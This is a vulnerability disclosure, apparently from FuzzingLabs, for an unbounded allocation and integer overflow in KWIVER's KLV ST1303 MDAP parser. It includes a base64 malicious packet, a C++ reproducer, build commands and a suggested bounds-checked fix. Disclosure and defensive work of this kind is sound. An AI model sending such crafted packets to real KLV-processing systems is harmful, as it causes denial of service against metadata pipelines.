Unbounded allocation + integer overflow in ST1303 MDAP dimensions (arrows/klv)

[pventuzelo]

ST1303 MDAP (dimensions) — unbounded allocation + integer overflow

Project: KWIVER — arrows/klv (KLV / MISB motion-imagery metadata parser)
Affected version: master @ af3554f1f (v1.8.0-1260-gaf3554f1f) — current tip
Severity: Medium (OOM DoS + size_t multiplication overflow)
Location: arrows/klv/klv_1303.hpp — klv_1303_mdap_format<…>::read_typed
Entry point: kwiver::arrows::klv::klv_read_packet() on untrusted KLV bytes
(e.g. metadata embedded in a MISB motion-imagery stream) — no authentication or
special state required.
Detection: AddressSanitizer

Description

Two attacker-controlled quantities drive allocation with no upper bound:

• dimension count: result.sizes.resize(klv_read_ber_oid<size_t>(…));
• element count: length_of_array = Π sizes[i], computed with
  std::multiplies<size_t> (can wrap size_t), then used in
  result.elements.reserve(length_of_array).

Impact: a few input bytes can request a multi-gigabyte/petabyte allocation
(OOM DoS), or wrap the product to a small value feeding downstream overflows.

The reader helpers (klv_read_int, klv_read_imap, klv_read_string) do no
buffer-bounds check — they trust the caller to pass a valid length. The safe
pattern used elsewhere in the codebase is tracker.verify(n), which returns n
if n bytes remain in the field and otherwise throws metadata_buffer_overflow.

Proof of concept

Raw KLV packet (261 bytes), base64 — decode with base64 -d:

/wAAADQATgAACAACAGpqampqampqampqampqampqampqampqBgAAAAAGDis0AgsBAQ4DAQMiAAAA
BjUAMgIAAAAABg4rNAIFAAAAAAAAAAAAADIEDv//////////////////////////////////////
//////8DAgEDB/+/AAQLAQUOAQAAAP8BAyIAAAAGNQAyAgAAAAAGDis0AgsBAQ4BAwMBAAAAMgQO
////////LP///////////////////////////////////wMCAQMHAkAA6enp6QQLAQUOAQD/////
//8OAAf/vwAECwEFDgEAAAD/AQMiAAAABjUAMgYAAAAA

Reproduction

No fuzzing engine or custom harness required — only the public KLV API and an
AddressSanitizer build of kwiver_algo_klv:

base64 -d poc.b64 > poc.klv          # poc.b64 = the base64 block above
ASAN_OPTIONS=detect_leaks=0 ./repro_klv poc.klv

→ AddressSanitizer: requested allocation size … exceeds maximum supported size in vector::resize/reserve.

Standalone reproducer — repro_klv.cxx (public KLV API only, no fuzzer)

#include <arrows/klv/klv_packet.h>
#include <cstdint>
#include <cstdio>
#include <fstream>
#include <vector>
using namespace kwiver::arrows::klv;

int main( int argc, char** argv )
{
  std::ifstream in( argv[1], std::ios::binary );
  std::vector< uint8_t > buf( ( std::istreambuf_iterator< char >( in ) ),
                              std::istreambuf_iterator< char >() );
  klv_read_iter_t it = buf.data();
  klv_read_iter_t const end = buf.data() + buf.size();
  while( it < end ) {                       // consume as a KLV stream
    klv_read_iter_t const before = it;
    try { (void) klv_read_packet( it, static_cast< size_t >( end - it ) ); }
    catch( std::exception const& e ) { std::printf( "rejected: %s\n", e.what() ); break; }
    if( it <= before ) break;
  }
  return 0;
}

Build against an AddressSanitizer build of kwiver_algo_klv:

clang++ -std=c++17 -g -fsanitize=address repro_klv.cxx \
  -I<kwiver_src> -I<kwiver_build> \
  -L<kwiver_build>/lib -lkwiver_algo_klv -lvital -lvital_logger \
     -lvital_exceptions -lvital_util -lvital_config -lvital_types \
  -Wl,-rpath,<kwiver_build>/lib -o repro_klv

Suggested fix

Reject a dimension count larger than the bytes remaining; replace the unchecked
product with an overflow-checked running product capped at a generous absolute
maximum (legitimate RLE arrays can exceed their encoded byte length, so the cap
cannot be the remaining byte count):

constexpr size_t max_elements = size_t{ 1 } << 24;  // 16M
// ... per dimension:
if( size > max_elements || length_of_array > max_elements / size )
  VITAL_THROW( kv::metadata_exception, "MDAP: array element count exceeds maximum." );
length_of_array *= size;

---

Reported by patrick@fuzzinglabs.com (FuzzingLabs). Reproduced on master
(af3554f1f); the fix above was verified to eliminate the AddressSanitizer
error.